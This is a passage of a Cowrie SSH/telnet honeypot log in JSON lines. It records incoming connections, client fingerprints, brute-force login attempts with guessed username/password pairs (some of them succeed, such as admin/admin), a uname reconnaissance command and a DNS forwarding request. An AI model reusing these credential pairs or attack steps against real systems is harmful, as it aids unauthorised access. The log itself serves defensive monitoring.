.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:10.793382Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:10.949238Z","src_ip":"62.193.106.227","session":"59b4c711ddc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:11.184897Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:11.446752Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:11.450512Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:11.564013Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:11.569903Z","src_ip":"193.32.162.145","session":"e2cd92b302e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40996,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ec4ca2b49e","protocol":"telnet","message":"New connection: 152.42.224.71:40996 (10.17.0.5:23) [session: 55ec4ca2b49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:12.296044Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":43848,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b2cc44c4bd","protocol":"ssh","message":"New connection: 194.147.93.208:43848 (10.17.0.5:22) [session: b8b2cc44c4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:16.197850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:16.206248Z","src_ip":"194.147.93.208","session":"b8b2cc44c4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:16.305040Z","src_ip":"194.147.93.208","session":"b8b2cc44c4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pld","message":"login attempt [root/pld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:16.704939Z","src_ip":"194.147.93.208","session":"b8b2cc44c4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:17.798997Z","src_ip":"194.147.93.208","session":"b8b2cc44c4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59048,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f7d7b99a1a6","protocol":"telnet","message":"New connection: 152.42.224.71:59048 (10.17.0.5:23) [session: 5f7d7b99a1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:17.839246Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":54878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3306fce7829a","protocol":"ssh","message":"New connection: 43.159.35.21:54878 (10.17.0.5:22) [session: 3306fce7829a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:22.905224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:22.911762Z","src_ip":"43.159.35.21","session":"3306fce7829a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:23.151719Z","src_ip":"43.159.35.21","session":"3306fce7829a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37428,"dst_ip":"10.17.0.5","dst_port":22,"session":"022f799e4b5e","protocol":"ssh","message":"New connection: 87.251.64.176:37428 (10.17.0.5:22) [session: 022f799e4b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:23.969743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:23.975130Z","src_ip":"87.251.64.176","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.071898Z","src_ip":"87.251.64.176","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tropicana","message":"login attempt [root/tropicana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.137009Z","src_ip":"43.159.35.21","session":"3306fce7829a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.364273Z","src_ip":"87.251.64.176","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.463768Z","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.561928Z","src_ip":"87.251.64.176","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.43314337730408,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.579984Z","src_ip":"152.42.224.71","session":"da29150fa207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:24.661201Z","src_ip":"87.251.64.176","session":"022f799e4b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:25.379714Z","src_ip":"43.159.35.21","session":"3306fce7829a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.111.26.90","src_port":51466,"dst_ip":"10.17.0.5","dst_port":23,"session":"60da50070911","protocol":"telnet","message":"New connection: 187.111.26.90:51466 (10.17.0.5:23) [session: 60da50070911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:33.851018Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":38042,"dst_ip":"10.17.0.5","dst_port":22,"session":"def48c340645","protocol":"ssh","message":"New connection: 43.153.54.120:38042 (10.17.0.5:22) [session: def48c340645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:38.899405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:38.905059Z","src_ip":"43.153.54.120","session":"def48c340645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:38.973394Z","src_ip":"43.153.54.120","session":"def48c340645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44200,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2dd4925778","protocol":"telnet","message":"New connection: 152.42.224.71:44200 (10.17.0.5:23) [session: 7d2dd4925778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:39.106442Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t","message":"login attempt [root/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:39.279270Z","src_ip":"43.153.54.120","session":"def48c340645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:40.351000Z","src_ip":"43.153.54.120","session":"def48c340645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44204,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e2e2b1f5947","protocol":"telnet","message":"New connection: 152.42.224.71:44204 (10.17.0.5:23) [session: 4e2e2b1f5947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:42.158896Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":38228,"dst_ip":"10.17.0.5","dst_port":22,"session":"abd52f3207e3","protocol":"ssh","message":"New connection: 103.172.78.219:38228 (10.17.0.5:22) [session: abd52f3207e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:45.812299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:45.817178Z","src_ip":"103.172.78.219","session":"abd52f3207e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:46.074708Z","src_ip":"103.172.78.219","session":"abd52f3207e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:47.162337Z","src_ip":"103.172.78.219","session":"abd52f3207e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:48.422006Z","src_ip":"103.172.78.219","session":"abd52f3207e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.929006814956665,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:54.104499Z","src_ip":"152.42.224.71","session":"66d2c80d22bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58104,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a934b7c2428","protocol":"telnet","message":"New connection: 152.42.224.71:58104 (10.17.0.5:23) [session: 5a934b7c2428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:40:55.632090Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44770,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37d214f05d8","protocol":"ssh","message":"New connection: 103.27.238.120:44770 (159.203.135.109:22) [session: a37d214f05d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:00.771292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:00.776129Z","src_ip":"103.27.238.120","session":"a37d214f05d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:01.039934Z","src_ip":"103.27.238.120","session":"a37d214f05d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f","message":"login attempt [root/f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:01.831977Z","src_ip":"103.27.238.120","session":"a37d214f05d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.26294827461243,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:02.558858Z","src_ip":"152.42.224.71","session":"55ec4ca2b49e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:03.103806Z","src_ip":"103.27.238.120","session":"a37d214f05d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.63546371459961,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:10.474453Z","src_ip":"152.42.224.71","session":"5f7d7b99a1a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":38910,"dst_ip":"10.17.0.5","dst_port":22,"session":"527647de0b2e","protocol":"ssh","message":"New connection: 194.147.93.208:38910 (10.17.0.5:22) [session: 527647de0b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:41:12.988723Z"}
